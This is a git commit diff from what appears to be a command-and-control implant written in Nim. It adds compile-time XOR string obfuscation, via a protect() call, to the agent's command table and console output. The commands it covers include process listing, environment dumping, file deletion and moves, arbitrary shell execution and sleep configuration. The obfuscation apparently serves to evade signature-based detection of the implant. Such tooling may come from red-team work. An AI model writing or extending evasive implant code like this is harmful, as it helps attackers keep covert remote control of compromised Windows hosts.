Implemented compile-time string obfuscation via XOR for the agent.

This commit is contained in:
Jakob Friedl
2025-08-26 15:11:43 +02:00
parent dd7433588f
commit 8791faec3f
13 changed files with 166 additions and 232 deletions

View File

@@ -1,4 +1,4 @@
import ../common/types
import ../common/[types, utils]
# Declare function prototypes
proc executePs(ctx: AgentCtx, task: Task): TaskResult
@@ -8,26 +8,26 @@ proc executeWhoami(ctx: AgentCtx, task: Task): TaskResult
# Command definitions
let commands*: seq[Command] = @[
Command(
name: "ps",
name: protect("ps"),
commandType: CMD_PS,
description: "Display running processes.",
example: "ps",
description: protect("Display running processes."),
example: protect("ps"),
arguments: @[],
execute: executePs
),
Command(
name: "env",
name: protect("env"),
commandType: CMD_ENV,
description: "Display environment variables.",
example: "env",
description: protect("Display environment variables."),
example: protect("env"),
arguments: @[],
execute: executeEnv
),
Command(
name: "whoami",
name: protect("whoami"),
commandType: CMD_WHOAMI,
description: "Get user information.",
example: "whoami",
description: protect("Get user information."),
example: protect("whoami"),
arguments: @[],
execute: executeWhoami
)
@@ -56,7 +56,7 @@ when defined(agent):
proc executePs(ctx: AgentCtx, task: Task): TaskResult =
echo fmt" [>] Listing running processes."
echo protect(" [>] Listing running processes.")
try:
var processes: seq[DWORD] = @[]
@@ -66,7 +66,7 @@ when defined(agent):
# Take a snapshot of running processes
let hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)
if hSnapshot == INVALID_HANDLE_VALUE:
raise newException(CatchableError, "Invalid permissions.\n")
raise newException(CatchableError, protect("Invalid permissions.\n"))
# Close handle after object is no longer used
defer: CloseHandle(hSnapshot)
@@ -76,7 +76,7 @@ when defined(agent):
# Loop over processes to fill the map
if Process32First(hSnapshot, addr pe32) == FALSE:
raise newException(CatchableError, "Failed to get processes.\n")
raise newException(CatchableError, protect("Failed to get processes.\n"))
while true:
var procInfo = ProcessInfo(
@@ -99,7 +99,7 @@ when defined(agent):
processes.add(pid)
# Add header row
let headers = @["PID", "PPID", "Process"]
let headers = @[protect("PID"), protect("PPID"), protect("Process")]
output &= fmt"{headers[0]:<10}{headers[1]:<10}{headers[2]:<25}" & "\n"
output &= "-".repeat(len(headers[0])).alignLeft(10) & "-".repeat(len(headers[1])).alignLeft(10) & "-".repeat(len(headers[2])).alignLeft(25) & "\n"
@@ -130,7 +130,7 @@ when defined(agent):
proc executeEnv(ctx: AgentCtx, task: Task): TaskResult =
echo fmt" [>] Displaying environment variables."
echo protect(" [>] Displaying environment variables.")
try:
var output: string = ""
@@ -144,11 +144,11 @@ when defined(agent):
proc executeWhoami(ctx: AgentCtx, task: Task): TaskResult =
echo fmt" [>] Getting user information."
echo protect(" [>] Getting user information.")
try:
let output = "Not implemented"
let output = protect("Not implemented")
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(output))
except CatchableError as err:

View File

@@ -1,4 +1,4 @@
import ../common/types
import ../common/[types, utils]
# Define function prototypes
proc executePwd(ctx: AgentCtx, task: Task): TaskResult
@@ -12,72 +12,72 @@ proc executeCopy(ctx: AgentCtx, task: Task): TaskResult
# Command definitions
let commands* = @[
Command(
name: "pwd",
name: protect("pwd"),
commandType: CMD_PWD,
description: "Retrieve current working directory.",
example: "pwd",
description: protect("Retrieve current working directory."),
example: protect("pwd"),
arguments: @[],
execute: executePwd
),
Command(
name: "cd",
name: protect("cd"),
commandType: CMD_CD,
description: "Change current working directory.",
example: "cd C:\\Windows\\Tasks",
description: protect("Change current working directory."),
example: protect("cd C:\\Windows\\Tasks"),
arguments: @[
Argument(name: "directory", description: "Relative or absolute path of the directory to change to.", argumentType: STRING, isRequired: true)
Argument(name: protect("directory"), description: protect("Relative or absolute path of the directory to change to."), argumentType: STRING, isRequired: true)
],
execute: executeCd
),
Command(
name: "ls",
name: protect("ls"),
commandType: CMD_LS,
description: "List files and directories.",
example: "ls C:\\Users\\Administrator\\Desktop",
description: protect("List files and directories."),
example: protect("ls C:\\Users\\Administrator\\Desktop"),
arguments: @[
Argument(name: "directory", description: "Relative or absolute path. Default: current working directory.", argumentType: STRING, isRequired: false)
Argument(name: protect("directory"), description: protect("Relative or absolute path. Default: current working directory."), argumentType: STRING, isRequired: false)
],
execute: executeDir
),
Command(
name: "rm",
name: protect("rm"),
commandType: CMD_RM,
description: "Remove a file.",
example: "rm C:\\Windows\\Tasks\\payload.exe",
description: protect("Remove a file."),
example: protect("rm C:\\Windows\\Tasks\\payload.exe"),
arguments: @[
Argument(name: "file", description: "Relative or absolute path to the file to delete.", argumentType: STRING, isRequired: true)
Argument(name: protect("file"), description: protect("Relative or absolute path to the file to delete."), argumentType: STRING, isRequired: true)
],
execute: executeRm
),
Command(
name: "rmdir",
name: protect("rmdir"),
commandType: CMD_RMDIR,
description: "Remove a directory.",
example: "rm C:\\Payloads",
description: protect("Remove a directory."),
example: protect("rm C:\\Payloads"),
arguments: @[
Argument(name: "directory", description: "Relative or absolute path to the directory to delete.", argumentType: STRING, isRequired: true)
Argument(name: protect("directory"), description: protect("Relative or absolute path to the directory to delete."), argumentType: STRING, isRequired: true)
],
execute: executeRmdir
),
Command(
name: "move",
name: protect("move"),
commandType: CMD_MOVE,
description: "Move a file or directory.",
example: "move source.exe C:\\Windows\\Tasks\\destination.exe",
description: protect("Move a file or directory."),
example: protect("move source.exe C:\\Windows\\Tasks\\destination.exe"),
arguments: @[
Argument(name: "source", description: "Source file path.", argumentType: STRING, isRequired: true),
Argument(name: "destination", description: "Destination file path.", argumentType: STRING, isRequired: true)
Argument(name: protect("source"), description: protect("Source file path."), argumentType: STRING, isRequired: true),
Argument(name: protect("destination"), description: protect("Destination file path."), argumentType: STRING, isRequired: true)
],
execute: executeMove
),
Command(
name: "copy",
name: protect("copy"),
commandType: CMD_COPY,
description: "Copy a file or directory.",
example: "copy source.exe C:\\Windows\\Tasks\\destination.exe",
description: protect("Copy a file or directory."),
example: protect("copy source.exe C:\\Windows\\Tasks\\destination.exe"),
arguments: @[
Argument(name: "source", description: "Source file path.", argumentType: STRING, isRequired: true),
Argument(name: "destination", description: "Destination file path.", argumentType: STRING, isRequired: true)
Argument(name: protect("source"), description: protect("Source file path."), argumentType: STRING, isRequired: true),
Argument(name: protect("destination"), description: protect("Destination file path."), argumentType: STRING, isRequired: true)
],
execute: executeCopy
)
@@ -102,7 +102,7 @@ when defined(agent):
# Retrieve current working directory
proc executePwd(ctx: AgentCtx, task: Task): TaskResult =
echo fmt" [>] Retrieving current working directory."
echo protect(" [>] Retrieving current working directory.")
try:
# Get current working directory using GetCurrentDirectory
@@ -126,7 +126,7 @@ when defined(agent):
# Parse arguments
let targetDirectory = Bytes.toString(task.args[0].data)
echo fmt" [>] Changing current working directory to {targetDirectory}."
echo protect(" [>] Changing current working directory to {targetDirectory}.")
try:
# Get current working directory using GetCurrentDirectory
@@ -235,7 +235,7 @@ when defined(agent):
var
localTime: FILETIME
systemTime: SYSTEMTIME
dateTimeStr = "01/01/1970 00:00:00"
dateTimeStr = protect("01/01/1970 00:00:00")
if FileTimeToLocalFileTime(&findData.ftLastWriteTime, &localTime) != 0 and FileTimeToSystemTime(&localTime, &systemTime) != 0:
# Format date and time in PowerShell style
@@ -244,7 +244,7 @@ when defined(agent):
# Format file size
var sizeStr = ""
if isDir:
sizeStr = "<DIR>"
sizeStr = protect("<DIR>")
else:
sizeStr = ($fileSize).replace("-", "")

View File

@@ -1,4 +1,4 @@
import ../common/types
import ../common/[types, utils]
# Define function prototype
proc executeShell(ctx: AgentCtx, task: Task): TaskResult
@@ -6,13 +6,13 @@ proc executeShell(ctx: AgentCtx, task: Task): TaskResult
# Command definition (as seq[Command])
let commands*: seq[Command] = @[
Command(
name: "shell",
name: protect("shell"),
commandType: CMD_SHELL,
description: "Execute a shell command and retrieve the output.",
example: "shell whoami /all",
description: protect("Execute a shell command and retrieve the output."),
example: protect("shell whoami /all"),
arguments: @[
Argument(name: "command", description: "Command to be executed.", argumentType: STRING, isRequired: true),
Argument(name: "arguments", description: "Arguments to be passed to the command.", argumentType: STRING, isRequired: false)
Argument(name: protect("command"), description: protect("Command to be executed."), argumentType: STRING, isRequired: true),
Argument(name: protect("arguments"), description: protect("Arguments to be passed to the command."), argumentType: STRING, isRequired: false)
],
execute: executeShell
)

View File

@@ -1,4 +1,4 @@
import ../common/types
import ../common/[types, utils]
# Define function prototype
proc executeSleep(ctx: AgentCtx, task: Task): TaskResult
@@ -6,12 +6,12 @@ proc executeSleep(ctx: AgentCtx, task: Task): TaskResult
# Command definition (as seq[Command])
let commands* = @[
Command(
name: "sleep",
name: protect("sleep"),
commandType: CMD_SLEEP,
description: "Update sleep delay configuration.",
example: "sleep 5",
description: protect("Update sleep delay configuration."),
example: protect("sleep 5"),
arguments: @[
Argument(name: "delay", description: "Delay in seconds.", argumentType: INT, isRequired: true)
Argument(name: protect("delay"), description: protect("Delay in seconds."), argumentType: INT, isRequired: true)
],
execute: executeSleep
)